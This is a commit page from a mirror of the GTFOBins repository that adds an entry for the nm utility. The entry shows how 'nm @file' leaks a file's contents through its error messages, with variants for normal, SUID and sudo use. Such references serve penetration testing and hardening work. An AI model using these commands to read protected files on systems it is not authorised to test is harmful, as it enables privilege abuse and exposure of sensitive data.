1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add nm file-read

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
valdaarhun 2022-02-03 13:16:38 +05:30 committed by GitHub
parent 74e021e8ef
commit 7e2e188305
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/nm.md Normal file

@ -0,0 +1,16 @@
---
description: The file content is treated as command line options and disclosed through error messages, so this is not suitable for reading arbitrary binary data.
functions:
file-read:
- code: |
LFILE=file_to_read
nm @$LFILE
suid:
- code: |
LFILE=file_to_read
./nm @$LFILE
sudo:
- code: |
LFILE=file_to_read
sudo nm @$LFILE
---